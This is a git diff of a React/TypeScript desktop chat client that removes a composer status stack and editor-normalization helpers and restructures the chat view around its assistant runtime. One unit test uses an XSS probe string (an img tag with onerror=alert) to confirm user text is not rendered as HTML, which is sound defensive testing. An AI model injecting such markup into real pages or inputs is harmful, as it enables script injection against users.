+                      <ArrowUp size={11} />
+                    </Button>
+                  </Tip>
+                  <Tip label={c.deleteQueued}>
+                    <Button
+                      aria-label={c.deleteQueued}
+                      className="h-5 w-5 rounded-md"
+                      onClick={() => onDelete(entry.id)}
+                      size="icon-xs"
+                      type="button"
+                      variant="ghost"
+                    >
+                      <Trash2 size={11} />
+                    </Button>
+                  </Tip>
+                </div>
+              </div>
+            )
+          })}
+        </div>
+      )}
+    </div>
   )
 }

apps/desktop/src/app/chat/composer/rich-editor.test.ts

@@ -1,13 +1,6 @@
 import { describe, expect, it } from 'vitest'
 
-import { insertInlineRefsIntoEditor } from './inline-refs'
-import {
-  composerPlainText,
-  normalizeComposerEditorDom,
-  refChipElement,
-  renderComposerContents,
-  RICH_INPUT_SLOT
-} from './rich-editor'
+import { composerPlainText, renderComposerContents, RICH_INPUT_SLOT } from './rich-editor'
 
 describe('renderComposerContents', () => {
   it('renders refs and raw text without interpreting user text as HTML', () => {
@@ -23,39 +16,3 @@ describe('renderComposerContents', () => {
     expect(composerPlainText(editor)).toBe('@file:`<img src=x onerror=alert(1)>` <b>raw</b>')
   })
 })
-
-describe('normalizeComposerEditorDom', () => {
-  it('unwraps a single insertHTML wrapper div so plain text stays one line', () => {
-    const editor = document.createElement('div')
-    editor.dataset.slot = RICH_INPUT_SLOT
-    editor.innerHTML = '<div><span data-ref-text="@file:`src/foo.ts`" contenteditable="false">foo.ts</span> </div>'
-
-    normalizeComposerEditorDom(editor)
-
-    expect(composerPlainText(editor)).toBe('@file:`src/foo.ts` ')
-    expect(editor.querySelector(':scope > div')).toBeNull()
-  })
-
-  it('removes a trailing br after a ref chip', () => {
-    const editor = document.createElement('div')
-    editor.dataset.slot = RICH_INPUT_SLOT
-    editor.append(refChipElement('file', '`src/foo.ts`'), document.createElement('br'))
-
-    normalizeComposerEditorDom(editor)
-
-    expect(composerPlainText(editor)).toBe('@file:`src/foo.ts`')
-    expect(editor.querySelector('br')).toBeNull()
-  })
-})
-
-describe('insertInlineRefsIntoEditor', () => {
-  it('inserts chips without wrapper divs or spurious newlines', () => {
-    const editor = document.createElement('div')
-    editor.dataset.slot = RICH_INPUT_SLOT
-
-    insertInlineRefsIntoEditor(editor, ['@file:`src/foo.ts`'])
-
-    expect(editor.querySelector(':scope > div')).toBeNull()
-    expect(composerPlainText(editor)).toBe('@file:`src/foo.ts` ')
-  })
-})

apps/desktop/src/app/chat/composer/rich-editor.ts

@@ -184,36 +184,3 @@ export function placeCaretEnd(element: HTMLElement) {
   selection?.removeAllRanges()
   selection?.addRange(range)
 }
-
-/** Drop contenteditable junk that serializes as `\n` and falsely expands the composer. */
-export function normalizeComposerEditorDom(editor: HTMLElement) {
-  if (editor.childNodes.length === 1 && editor.firstChild?.nodeName === 'BR') {
-    editor.replaceChildren()
-
-    return
-  }
-
-  if (editor.childNodes.length === 1 && editor.firstChild?.nodeType === Node.ELEMENT_NODE) {
-    const wrapper = editor.firstChild as HTMLElement
-
-    if (wrapper.tagName === 'DIV' && wrapper.dataset.slot !== RICH_INPUT_SLOT) {
-      editor.replaceChildren(...Array.from(wrapper.childNodes))
-    }
-  }
-
-  const last = editor.lastChild
-
-  if (last?.nodeName !== 'BR') {
-    return
-  }
-
-  let prev: ChildNode | null = last.previousSibling
-
-  while (prev?.nodeType === Node.TEXT_NODE && !(prev.textContent || '').trim()) {
-    prev = prev.previousSibling
-  }
-
-  if ((prev as HTMLElement | null)?.dataset.refText) {
-    editor.removeChild(last)
-  }
-}

apps/desktop/src/app/chat/composer/status-stack/index.tsx

@@ -1,202 +0,0 @@
-import { useStore } from '@nanostores/react'
-import { type ReactNode, useEffect, useLayoutEffect, useMemo, useRef } from 'react'
-import { useNavigate } from 'react-router-dom'
-
-import { blurComposerInput } from '@/app/chat/composer/focus'
-import { AGENTS_ROUTE } from '@/app/routes'
-import { composerDockCard } from '@/components/chat/composer-dock'
-import { StatusSection } from '@/components/chat/status-section'
-import { Button } from '@/components/ui/button'
-import { Codicon } from '@/components/ui/codicon'
-import { type Translations, useI18n } from '@/i18n'
-import { cn } from '@/lib/utils'
-import {
-  $statusItemsBySession,
-  type ComposerStatusItem,
-  dismissBackgroundProcess,
-  groupStatusItems,
-  refreshBackgroundProcesses,
-  type StatusGroup,
-  stopBackgroundProcess
-} from '@/store/composer-status'
-import { $threadScrolledUp } from '@/store/thread-scroll'
-import { openSessionInNewWindow } from '@/store/windows'
-
-import { StatusItemRow } from './status-row'
-
-// Slow safety-net poll for silent exits (processes without notify_on_complete
-// emit no event when they die). Only armed while a running row is on screen.
-const BACKGROUND_POLL_MS = 5_000
-
-const groupLabel = (group: StatusGroup, s: Translations['statusStack']) => {
-  if (group.type === 'todo') {
-    return s.todos(group.items.filter(i => i.todoStatus === 'completed').length, group.items.length)
-  }
-
-  return group.type === 'subagent' ? s.subagents(group.items.length) : s.background(group.items.length)
-}
-
-interface ComposerStatusStackProps {
-  /** The queue, built by the composer (it owns the queue's callbacks). Rendered
-   *  as the last group so it stays fused to the composer like before. */
-  queue: ReactNode
-  sessionId: null | string
-}
-
-/**
- * The status "sink" above the composer: one card (the queue's chrome) holding
- * every session-scoped status — subagents, background tasks, queue — grouped by
- * type and separated by light dividers. Collapses to nothing when empty.
- */
-export function ComposerStatusStack({ queue, sessionId }: ComposerStatusStackProps) {
-  const { t } = useI18n()
-  const navigate = useNavigate()
-  const itemsBySession = useStore($statusItemsBySession)
-  const scrolledUp = useStore($threadScrolledUp)
-
-  const groups = useMemo(
-    () => groupStatusItems(sessionId ? (itemsBySession[sessionId] ?? []) : []),
-    [itemsBySession, sessionId]
-  )
-
-  // Seed from the registry on session open; event-driven refreshes (terminal /
-  // process tool completions) live in use-message-stream.
-  useEffect(() => {
-    if (sessionId) {
-      void refreshBackgroundProcesses(sessionId)
-    }
-  }, [sessionId])
-
-  const hasRunningBackground = groups.some(g => g.type === 'background' && g.items.some(i => i.state === 'running'))
-
-  useEffect(() => {
-    if (!sessionId || !hasRunningBackground) {
-      return
-    }
-
-    const timer = setInterval(() => void refreshBackgroundProcesses(sessionId), BACKGROUND_POLL_MS)
-
-    return () => clearInterval(timer)
-  }, [hasRunningBackground, sessionId])
-
-  const openAgents = () => navigate(AGENTS_ROUTE)
-
-  const openSubagent = (item: ComposerStatusItem) =>
-    item.sessionId ? void openSessionInNewWindow(item.sessionId, { watch: true }) : openAgents()
-
-  const sections: { key: string; node: ReactNode }[] = groups.map(group => ({
-    key: group.type,
-    node: (
-      <StatusSection
-        accessory={
-          group.type === 'subagent' ? (
-            <Button
-              className="text-muted-foreground/75 hover:text-foreground/90"
-              onClick={openAgents}
-              size="micro"
-              type="button"
-              variant="text"
-            >
-              {t.statusStack.agents}
-            </Button>
-          ) : undefined
-        }
-        defaultCollapsed={group.type !== 'todo'}
-        icon={
-          group.type === 'todo' ? (
-            <Codicon className="text-muted-foreground/70" name="checklist" size="0.8rem" />
-          ) : undefined
-        }
-        label={groupLabel(group, t.statusStack)}
-      >
-        {group.items.map(item => (
-          <StatusItemRow
-            item={item}
-            key={item.id}
-            onDismiss={sessionId ? id => dismissBackgroundProcess(sessionId, id) : undefined}
-            onOpen={() => openSubagent(item)}
-            onStop={sessionId ? id => stopBackgroundProcess(sessionId, id) : undefined}
-          />
-        ))}
-      </StatusSection>
-    )
-  }))
-
-  if (queue) {
-    sections.push({ key: 'queue', node: queue })
-  }
-
-  const visible = sections.length > 0
-  const stackRef = useRef<HTMLDivElement | null>(null)
-
-  // The stack is out of flow (overlays the thread), so the composer's measured
-  // height never sees it. Publish our own measured height — bucketed like the
-  // composer's, to avoid style invalidation churn — so the thread's
-  // last-message clearance can add it and the stack never hides messages.
-  useLayoutEffect(() => {
-    const root = document.documentElement
-    const el = stackRef.current
-
-    if (!visible || !el) {
-      root.style.removeProperty('--status-stack-measured-height')
-
-      return
-    }
-
-    let last = -1
-
-    const sync = () => {
-      const bucket = Math.round(el.getBoundingClientRect().height / 8) * 8
-
-      if (bucket !== last) {
-        last = bucket
-        root.style.setProperty('--status-stack-measured-height', `${bucket}px`)
-      }
-    }
-
-    const observer = new ResizeObserver(sync)
-    observer.observe(el)
-    sync()
-
-    return () => {
-      observer.disconnect()
-      root.style.removeProperty('--status-stack-measured-height')
-    }
-  }, [visible])
-
-  if (!visible) {
-    return null
-  }
-
-  return (
-    <div
-      // Sits above the composer (bottom-full), nudged down by the shell's 0.5rem
-      // top pad (pt-2 on composer-root) plus 1px so its bottom edge overlaps the
-      // composer surface's top border. z BELOW the surface (z-4) so the surface's
-      // top border paints over our transparent bottom border — one seam, no
-      // double line.
-      className="absolute inset-x-0 bottom-full z-3 max-h-[40vh] translate-y-[calc(0.5rem+1px)] overflow-y-auto"
-      onPointerDownCapture={() => blurComposerInput()}
-      ref={stackRef}
-    >
-      {/* The card paints the shared --composer-fill (rest / scrolled / focused
-          all match the composer surface by construction); on scroll we only
-          ghost the CONTENT — element opacity on the card would kill the blur.
-          Rounded top, square bottom; the bottom border is TRANSPARENT — the
-          composer surface's visible top border (which sits at a higher z) is the
-          single shared seam, so the two read as one fused capsule. */}
-      <div className={cn(composerDockCard('top'), 'mx-2 rounded-b-none border-b border-b-transparent pt-0.5 pb-1')}>
-        <div
-          className={cn(
-            'transition-opacity duration-200 ease-out',
-            scrolledUp ? 'opacity-30 group-hover/composer:opacity-100' : 'opacity-100'
-          )}
-        >
-          {sections.map(section => (
-            <div key={section.key}>{section.node}</div>
-          ))}
-        </div>
-      </div>
-    </div>
-  )
-}

apps/desktop/src/app/chat/composer/status-stack/status-row.tsx

@@ -1,155 +0,0 @@
-import { Fragment, memo, type ReactNode, useState } from 'react'
-
-import { StatusRow } from '@/components/chat/status-row'
-import { TerminalOutput } from '@/components/chat/terminal-output'
-import { Button } from '@/components/ui/button'
-import { Codicon } from '@/components/ui/codicon'
-import { DisclosureCaret } from '@/components/ui/disclosure-caret'
-import { GlyphSpinner } from '@/components/ui/glyph-spinner'
-import { Tip } from '@/components/ui/tooltip'
-import { type Translations, useI18n } from '@/i18n'
-import { ArrowUpRight, X } from '@/lib/icons'
-import type { TodoStatus } from '@/lib/todos'
-import { cn } from '@/lib/utils'
-import type { ComposerStatusItem } from '@/store/composer-status'
-
-const toolLabel = (name: string) =>
-  name
-    .split('_')
-    .filter(Boolean)
-    .map(part => part[0]!.toUpperCase() + part.slice(1))
-    .join(' ') || name
-
-// Todo rows speak checkbox, not spinner-and-dot: a dashed ring while the item
-// is still open (pending), codicons once it resolves, a live spinner only on
-// the in-progress item.
-const TODO_GLYPHS: Record<Exclude<TodoStatus, 'in_progress' | 'pending'>, { icon: string; tone: string }> = {
-  cancelled: { icon: 'circle-slash', tone: 'text-muted-foreground/45' },
-  completed: { icon: 'pass-filled', tone: 'text-emerald-500/80' }
-}
-
-// Left slot: braille spinner while running, otherwise a small status dot
-// (green = done, red = failed) so the slot is always filled and rows align.
-function leadingGlyph(item: ComposerStatusItem, s: Translations['statusStack']): ReactNode {
-  if (item.todoStatus === 'pending') {
-    return (
-      <span
-        aria-hidden
-        className="box-border size-[0.7rem] rounded-full border border-dashed border-muted-foreground/60"
-      />
-    )
-  }
-
-  if (item.todoStatus && item.todoStatus !== 'in_progress') {
-    const glyph = TODO_GLYPHS[item.todoStatus]
-
-    return <Codicon className={glyph.tone} name={glyph.icon} size="0.8rem" />
-  }
-
-  if (item.state === 'running') {
-    return (
-      <GlyphSpinner
-        ariaLabel={s.running}
-        className="text-[0.9rem] leading-none text-muted-foreground/80"
-        spinner="braille"
-      />
-    )
-  }
-
-  return (
-    <span
-      aria-hidden
-      className={cn('size-1.5 rounded-full', item.state === 'failed' ? 'bg-destructive/80' : 'bg-emerald-500/70')}
-    />
-  )
-}
-
-interface StatusItemRowProps {
-  item: ComposerStatusItem
-  /** Clear a finished background task from the stack. */
-  onDismiss?: (id: string) => void
-  /** Open the subagent's own session window, livestreamed by the gateway's
-   *  child-session mirror (Agents view fallback for older gateways). */
-  onOpen?: () => void
-  /** Cancel a running background task. */
-  onStop?: (id: string) => void
-}
-
-/**
- * Renders one {@link ComposerStatusItem} into the shared {@link StatusRow}.
- * Memoised + keyed by id so parent re-renders never remount it (the spinner
- * keeps ticking instead of resetting).
- */
-export const StatusItemRow = memo(function StatusItemRow({ item, onDismiss, onOpen, onStop }: StatusItemRowProps) {
-  const { t } = useI18n()
-  const s = t.statusStack
-  const [outputOpen, setOutputOpen] = useState(false)
-  const failed = item.state === 'failed'
-  const running = item.state === 'running'
-
-  const action =
-    item.type === 'background'
-      ? running
-        ? onStop && { label: s.stop, onClick: () => onStop(item.id) }
-        : onDismiss && { label: s.dismiss, onClick: () => onDismiss(item.id) }
-      : null
-
-  const canOpen = item.type === 'subagent' && !!onOpen
-  const hasOutput = item.type === 'background' && !!item.output
-  const onActivate = canOpen ? onOpen : hasOutput ? () => setOutputOpen(open => !open) : undefined
-
-  return (
-    <Fragment>
-      <StatusRow
-        leading={leadingGlyph(item, s)}
-        onActivate={onActivate}
-        trailing={
-          action ? (
-            <Tip label={action.label}>
-              <Button
-                aria-label={action.label}
-                className="-my-1 size-4 rounded-md text-muted-foreground/60 hover:text-foreground/90"
-                onClick={event => {
-                  event.stopPropagation()
-                  action.onClick()
-                }}
-                size="icon-xs"
-                type="button"
-                variant="ghost"
-              >
-                <X size={12} />
-              </Button>
-            </Tip>
-          ) : canOpen ? (
-            <ArrowUpRight aria-hidden className="size-3.5 text-muted-foreground/55" />
-          ) : undefined
-        }
-      >
-        <span
-          className={cn(
-            'min-w-0 max-w-[18rem] truncate text-[0.73rem] leading-4',
-            failed
-              ? 'text-destructive/90'
-              : item.todoStatus && item.todoStatus !== 'in_progress'
-                ? 'text-muted-foreground/75'
-                : 'text-foreground/92'
-          )}
-        >
-          {item.title}
-        </span>
-        {item.type === 'subagent' && item.currentTool && (
-          <span className="shrink-0 truncate text-[0.62rem] leading-4 text-muted-foreground/70">
-            {toolLabel(item.currentTool)}
-          </span>
-        )}
-        {failed && typeof item.exitCode === 'number' && item.exitCode !== 0 && (
-          <span className="shrink-0 rounded bg-destructive/15 px-1 text-[0.58rem] font-semibold text-destructive tabular-nums">
-            {s.exit(item.exitCode)}
-          </span>
-        )}
-        {hasOutput && <DisclosureCaret className="shrink-0 text-muted-foreground/45" open={outputOpen} size="0.8em" />}
-      </StatusRow>
-      {hasOutput && outputOpen && <TerminalOutput className="mx-auto mb-1 max-w-[90%]" text={item.output!} />}
-    </Fragment>
-  )
-})

apps/desktop/src/app/chat/composer/trigger-popover.tsx

@@ -1,12 +1,16 @@
 import type { Unstable_TriggerItem } from '@assistant-ui/core'
 import { Fragment } from 'react'
 
+import { BrailleSpinner } from '@/components/ui/braille-spinner'
 import { Codicon } from '@/components/ui/codicon'
-import { GlyphSpinner } from '@/components/ui/glyph-spinner'
 import { useI18n } from '@/i18n'
 import { cn } from '@/lib/utils'
 
-import { COMPLETION_DRAWER_BELOW_CLASS, COMPLETION_DRAWER_CLASS, CompletionDrawerEmpty } from './completion-drawer'
+import {
+  COMPLETION_DRAWER_BELOW_CLASS,
+  COMPLETION_DRAWER_CLASS,
+  CompletionDrawerEmpty
+} from './completion-drawer'
 
 const AT_ICON_BY_TYPE: Record<string, string> = {
   diff: 'diff',
@@ -83,7 +87,7 @@ export function ComposerTriggerPopover({
       {items.length === 0 ? (
         loading ? (
           <div className="flex items-center gap-2 px-2 py-1.5 text-(--ui-text-tertiary)">
-            <GlyphSpinner ariaLabel={copy.lookupLoading} className="text-foreground/70" spinner="braille" />
+            <BrailleSpinner ariaLabel={copy.lookupLoading} className="text-foreground/70" spinner="braille" />
             <span>{copy.lookupLoading}</span>
           </div>
         ) : (

apps/desktop/src/app/chat/hooks/use-composer-actions.ts

@@ -1,7 +1,6 @@
 import { useCallback } from 'react'
 
-import { requestComposerFocus, requestComposerInsert, requestComposerInsertRefs } from '@/app/chat/composer/focus'
-import { droppedFileInlineRef } from '@/app/chat/composer/inline-refs'
+import { requestComposerFocus, requestComposerInsert } from '@/app/chat/composer/focus'
 import { formatRefValue } from '@/components/assistant-ui/directive-text'
 import { useI18n } from '@/i18n'
 import { attachmentId, contextPath, pathLabel } from '@/lib/chat-runtime'
@@ -287,26 +286,6 @@ export function useComposerActions({ activeSessionId, currentCwd, requestGateway
     [currentCwd]
   )
 
-  const insertContextPathInlineRef = useCallback(
-    (path: string, isDirectory = false) => {
-      if (!path) {
-        return false
-      }
-
-      const ref = droppedFileInlineRef({ isDirectory, path }, currentCwd)
-
-      if (!ref) {
-        return false
-      }
-
-      requestComposerInsertRefs([ref])
-      requestComposerFocus('main')
-
-      return true
-    },
-    [currentCwd]
-  )
-
   const attachContextFilePath = useCallback(
     (filePath: string) => {
       if (!filePath) {
@@ -567,7 +546,6 @@ export function useComposerActions({ activeSessionId, currentCwd, requestGateway
     attachDroppedItems,
     attachImageBlob,
     attachImagePath,
-    insertContextPathInlineRef,
     pasteClipboardImage,
     pickContextPaths,
     pickImages,

apps/desktop/src/app/chat/index.tsx

@@ -35,9 +35,7 @@ import {
   $gatewayState,
   $introPersonality,
   $introSeed,
-  $lastVisibleMessageIsUser,
   $messages,
-  $messagesEmpty,
   $selectedStoredSessionId,
   $sessions,
   sessionPinId
@@ -45,7 +43,7 @@ import {
 import type { ModelOptionsResponse } from '@/types/hermes'
 
 import { routeSessionId } from '../routes'
-import { titlebarHeaderBaseClass, titlebarHeaderShadowClass, titlebarHeaderTitleClass } from '../shell/titlebar'
+import { titlebarHeaderBaseClass, titlebarHeaderShadowClass } from '../shell/titlebar'
 
 import { ChatDropOverlay } from './chat-drop-overlay'
 import { ChatSwapOverlay } from './chat-swap-overlay'
@@ -55,9 +53,8 @@ import { droppedFileInlineRefs, type SessionDragPayload, sessionInlineRef } from
 import type { ChatBarState } from './composer/types'
 import { type DroppedFile, partitionDroppedFiles } from './hooks/use-composer-actions'
 import { useFileDropZone } from './hooks/use-file-drop-zone'
-import { ScrollToBottomButton } from './scroll-to-bottom-button'
 import { SessionActionsMenu } from './sidebar/session-actions-menu'
-import { threadLoadingState } from './thread-loading'
+import { lastVisibleMessageIsUser, threadLoadingState } from './thread-loading'
 
 interface ChatViewProps extends Omit<React.ComponentProps<'div'>, 'onSubmit'> {
   gateway: HermesGateway | null
@@ -83,7 +80,6 @@ interface ChatViewProps extends Omit<React.ComponentProps<'div'>, 'onSubmit'> {
   onThreadMessagesChange: (messages: readonly ThreadMessage[]) => void
   onEdit: (message: AppendMessage) => Promise<void>
   onReload: (parentId: string | null) => Promise<void>
-  onRestoreToMessage?: (messageId: string) => Promise<void>
   onTranscribeAudio?: (audio: Blob) => Promise<string>
 }
 
@@ -129,7 +125,7 @@ function ChatHeader({
   return (
     <header className={cn(titlebarHeaderBaseClass, isRoutedSessionView && titlebarHeaderShadowClass)}>
       <div
-        className={titlebarHeaderTitleClass}
+        className="min-w-0 flex-1"
         style={{
           maxWidth:
             'calc(100vw - var(--titlebar-content-inset,0px) - var(--titlebar-tools-right) - var(--titlebar-tools-width) - 1.5rem)'
@@ -145,7 +141,7 @@ function ChatHeader({
           title={title}
         >
           <Button
-            className="pointer-events-auto flex h-6 min-w-0 max-w-full gap-1 overflow-hidden border border-transparent bg-transparent px-2 py-0 text-(--ui-text-secondary) hover:border-(--ui-stroke-tertiary) hover:bg-(--ui-control-hover-background) hover:text-foreground data-[state=open]:border-(--ui-stroke-tertiary) data-[state=open]:bg-(--ui-control-active-background) [-webkit-app-region:no-drag]"
+            className="pointer-events-auto flex h-6 min-w-0 max-w-full gap-1 border border-transparent bg-transparent px-2 py-0 text-(--ui-text-secondary) hover:border-(--ui-stroke-tertiary) hover:bg-(--ui-control-hover-background) hover:text-foreground data-[state=open]:border-(--ui-stroke-tertiary) data-[state=open]:bg-(--ui-control-active-background) [-webkit-app-region:no-drag]"
             type="button"
             variant="ghost"
           >
@@ -158,42 +154,104 @@ function ChatHeader({
   )
 }
 
-interface ChatRuntimeBoundaryProps {
-  busy: boolean
-  children: React.ReactNode
-  onCancel: () => Promise<void> | void
-  onEdit: (message: AppendMessage) => Promise<void>
-  onReload: (parentId: string | null) => Promise<void>
-  onThreadMessagesChange: (messages: readonly ThreadMessage[]) => void
-  /** Route points at an unloaded session — render empty until resume swaps in
-   *  the new transcript, so the previous session's messages don't linger. */
-  suppressMessages: boolean
-}
-
-const NO_MESSAGES: ChatMessage[] = []
-
-/**
- * Owns the $messages subscription and the assistant-ui external-store runtime.
- *
- * Isolated from ChatView so the per-token delta flush (which replaces the
- * $messages atom ~30×/s during streaming) only re-renders this component and
- * the runtime provider. The children (Thread, ChatBar) are created by
- * ChatView, whose render output is stable across flushes — so React bails out
- * of re-rendering them by element identity and the stream's render cost stays
- * confined to the streaming message's own subtree.
- */
-function ChatRuntimeBoundary({
-  busy,
-  children,
+export function ChatView({
+  className,
+  gateway,
+  onToggleSelectedPin,
+  onDeleteSelectedSession,
   onCancel,
+  onAddContextRef,
+  onAddUrl,
+  onAttachImageBlob,
+  onAttachDroppedItems,
+  onBranchInNewChat,
+  maxVoiceRecordingSeconds,
+  onPasteClipboardImage,
+  onPickFiles,
+  onPickFolders,
+  onPickImages,
+  onRemoveAttachment,
+  onSteer,
+  onSubmit,
+  onThreadMessagesChange,
   onEdit,
   onReload,
-  onThreadMessagesChange,
-  suppressMessages
-}: ChatRuntimeBoundaryProps) {
-  const storeMessages = useStore($messages)
-  const messages = suppressMessages ? NO_MESSAGES : storeMessages
+  onTranscribeAudio
+}: ChatViewProps) {
+  const location = useLocation()
+  const activeSessionId = useStore($activeSessionId)
+  const awaitingResponse = useStore($awaitingResponse)
+  const busy = useStore($busy)
+  const contextSuggestions = useStore($contextSuggestions)
+  const currentCwd = useStore($currentCwd)
+  const currentModel = useStore($currentModel)
+  const currentProvider = useStore($currentProvider)
+  const freshDraftReady = useStore($freshDraftReady)
+  const gatewayState = useStore($gatewayState)
+  const gatewaySwapTarget = useStore($gatewaySwapTarget)
+  const gatewayOpen = gatewayState === 'open'
+  const introPersonality = useStore($introPersonality)
+  const introSeed = useStore($introSeed)
+  const messages = useStore($messages)
+  const selectedSessionId = useStore($selectedStoredSessionId)
   const runtimeMessageCacheRef = useRef(new WeakMap<ChatMessage, ThreadMessage>())
+  const isRoutedSessionView = Boolean(routeSessionId(location.pathname))
+
+  const showIntro =
+    freshDraftReady && !isRoutedSessionView && !selectedSessionId && !activeSessionId && messages.length === 0
+
+  // Session is still loading if the route references a session we haven't
+  // resumed yet. Once `activeSessionId` is set (runtime has resumed), the
+  // session exists — even if it has zero messages (a brand-new routed
+  // session). The flicker where `busy` flips true briefly during hydrate
+  // is handled by `threadLoadingState`'s last-visible-user gate.
+  const loadingSession = isRoutedSessionView && messages.length === 0 && !activeSessionId
+  const threadLoading = threadLoadingState(loadingSession, busy, awaitingResponse, lastVisibleMessageIsUser(messages))
+  const showChatBar = !loadingSession
+  const threadKey = selectedSessionId || activeSessionId || (isRoutedSessionView ? location.pathname : 'new')
+
+  const modelOptionsQuery = useQuery<ModelOptionsResponse>({
+    queryKey: ['model-options', activeSessionId || 'global'],
+    queryFn: () => {
+      if (!activeSessionId) {
+        return getGlobalModelOptions()
+      }
+
+      if (!gateway) {
+        throw new Error('Hermes gateway unavailable')
+      }
+
+      return gateway.request<ModelOptionsResponse>('model.options', { session_id: activeSessionId })
+    },
+    enabled: gatewayOpen
+  })
+
+  const quickModels = useMemo(
+    () => quickModelOptions(modelOptionsQuery.data, currentProvider, currentModel),
+    [currentModel, currentProvider, modelOptionsQuery.data]
+  )
+
+  const chatBarState = useMemo<ChatBarState>(
+    () => ({
+      model: {
+        model: currentModel,
+        provider: currentProvider,
+        canSwitch: gatewayOpen,
+        loading: !gatewayOpen || (!currentModel && !currentProvider),
+        quickModels
+      },
+      tools: {
+        enabled: true,
+        label: 'Add context',
+        suggestions: contextSuggestions
+      },
+      voice: {
+        enabled: true,
+        active: false
+      }
+    }),
+    [contextSuggestions, currentModel, currentProvider, gatewayOpen, quickModels]
+  )
 
   const runtimeMessageRepository = useMemo(() => {
     const items: { message: ThreadMessage; parentId: string | null }[] = []
@@ -243,120 +301,6 @@ function ChatRuntimeBoundary({
     onReload
   })
 
-  return <AssistantRuntimeProvider runtime={runtime}>{children}</AssistantRuntimeProvider>
-}
-
-export function ChatView({
-  className,
-  gateway,
-  onToggleSelectedPin,
-  onDeleteSelectedSession,
-  onCancel,
-  onAddContextRef,
-  onAddUrl,
-  onAttachImageBlob,
-  onAttachDroppedItems,
-  onBranchInNewChat,
-  maxVoiceRecordingSeconds,
-  onPasteClipboardImage,
-  onPickFiles,
-  onPickFolders,
-  onPickImages,
-  onRemoveAttachment,
-  onSteer,
-  onSubmit,
-  onThreadMessagesChange,
-  onEdit,
-  onReload,
-  onRestoreToMessage,
-  onTranscribeAudio
-}: ChatViewProps) {
-  const location = useLocation()
-  const activeSessionId = useStore($activeSessionId)
-  const awaitingResponse = useStore($awaitingResponse)
-  const busy = useStore($busy)
-  const contextSuggestions = useStore($contextSuggestions)
-  const currentCwd = useStore($currentCwd)
-  const currentModel = useStore($currentModel)
-  const currentProvider = useStore($currentProvider)
-  const freshDraftReady = useStore($freshDraftReady)
-  const gatewayState = useStore($gatewayState)
-  const gatewaySwapTarget = useStore($gatewaySwapTarget)
-  const gatewayOpen = gatewayState === 'open'
-  const introPersonality = useStore($introPersonality)
-  const introSeed = useStore($introSeed)
-  // PERF: ChatView must not subscribe to $messages — the atom is replaced on
-  // every streaming delta flush (~30×/s) and a subscription here re-renders
-  // the entire chat shell (header, chat bar, thread wrapper) per token. The
-  // runtime that DOES need the messages lives in ChatRuntimeBoundary below;
-  // this component only needs streaming-stable derivations.
-  const messagesEmpty = useStore($messagesEmpty)
-  const lastVisibleIsUser = useStore($lastVisibleMessageIsUser)
-  const selectedSessionId = useStore($selectedStoredSessionId)
-  const routedSessionId = routeSessionId(location.pathname)
-  const isRoutedSessionView = Boolean(routedSessionId)
-
-  // The URL points at a session the store hasn't loaded yet (sidebar / cmd-K /
-  // direct nav). Derived in render so the swap reads instantly: the same frame
-  // the id changes we drop the old transcript and show the loader, instead of
-  // waiting for the resume effect (which paints a frame later) to clear them.
-  const routeSessionMismatch = isRoutedSessionView && routedSessionId !== selectedSessionId
-
-  const showIntro = freshDraftReady && !isRoutedSessionView && !selectedSessionId && !activeSessionId && messagesEmpty
-
-  // Session is still loading if the route references a session we haven't
-  // resumed yet. Once `activeSessionId` is set (runtime has resumed), the
-  // session exists — even if it has zero messages (a brand-new routed
-  // session). The flicker where `busy` flips true briefly during hydrate
-  // is handled by `threadLoadingState`'s last-visible-user gate.
-  const loadingSession = isRoutedSessionView && (routeSessionMismatch || (messagesEmpty && !activeSessionId))
-  const threadLoading = threadLoadingState(loadingSession, busy, awaitingResponse, lastVisibleIsUser)
-  const showChatBar = !loadingSession
-  const threadKey = selectedSessionId || activeSessionId || (isRoutedSessionView ? location.pathname : 'new')
-
-  const modelOptionsQuery = useQuery<ModelOptionsResponse>({
-    queryKey: ['model-options', activeSessionId || 'global'],
-    queryFn: () => {
-      if (!activeSessionId) {
-        return getGlobalModelOptions()
-      }
-
-      if (!gateway) {
-        throw new Error('Hermes gateway unavailable')
-      }
-
-      return gateway.request<ModelOptionsResponse>('model.options', { session_id: activeSessionId })
-    },
-    enabled: gatewayOpen
-  })
-
-  const quickModels = useMemo(
-    () => quickModelOptions(modelOptionsQuery.data, currentProvider, currentModel),
-    [currentModel, currentProvider, modelOptionsQuery.data]
-  )
-
-  const chatBarState = useMemo<ChatBarState>(
-    () => ({
-      model: {
-        model: currentModel,
-        provider: currentProvider,
-        canSwitch: gatewayOpen,
-        loading: !gatewayOpen || (!currentModel && !currentProvider),
-        quickModels
-      },
-      tools: {
-        enabled: true,
-        label: 'Add context',
-        suggestions: contextSuggestions
-      },
-      voice: {
-        enabled: true,
-        active: false
-      }
-    }),
-    [contextSuggestions, currentModel, currentProvider, gatewayOpen, quickModels]
-  )
-
   // Drop files anywhere in the conversation area, not just on the composer
   // input. In-app drags (project tree / gutter) carry workspace-relative paths
   // the gateway resolves directly, so they stay inline `@file:` refs. OS/Finder
@@ -409,14 +353,7 @@ export function ChatView({
         className="relative min-h-0 max-w-full flex-1 overflow-hidden bg-(--ui-chat-surface-background) contain-[layout_paint]"
         {...dropHandlers}
       >
-        <ChatRuntimeBoundary
-          busy={busy}
-          onCancel={onCancel}
-          onEdit={onEdit}
-          onReload={onReload}
-          onThreadMessagesChange={onThreadMessagesChange}
-          suppressMessages={routeSessionMismatch}
-        >
+        <AssistantRuntimeProvider runtime={runtime}>
           <Thread
             clampToComposer={showChatBar}
             cwd={currentCwd}
@@ -425,7 +362,6 @@ export function ChatView({
             loading={threadLoading}
             onBranchInNewChat={onBranchInNewChat}
             onCancel={onCancel}
-            onRestoreToMessage={onRestoreToMessage}
             sessionId={activeSessionId}
             sessionKey={threadKey}
           />
@@ -451,14 +387,13 @@ export function ChatView({
                 onSteer={onSteer}
                 onSubmit={onSubmit}
                 onTranscribeAudio={onTranscribeAudio}
-                queueSessionKey={selectedSessionId}
+                queueSessionKey={selectedSessionId || activeSessionId}
                 sessionId={activeSessionId}
                 state={chatBarState}
               />
             </Suspense>
           )}
-        </ChatRuntimeBoundary>
-        {showChatBar && <ScrollToBottomButton />}
+        </AssistantRuntimeProvider>
         <ChatDropOverlay kind={dragKind} />
         <ChatSwapOverlay profile={gatewaySwapTarget} />
       </div>

apps/desktop/src/app/chat/right-rail/preview-file.tsx

@@ -10,16 +10,12 @@ import { useEffect, useMemo, useState } from 'react'
 import ShikiHighlighter from 'react-shiki'
 import { Streamdown } from 'streamdown'
 
-import { requestComposerFocus, requestComposerInsertRefs } from '@/app/chat/composer/focus'
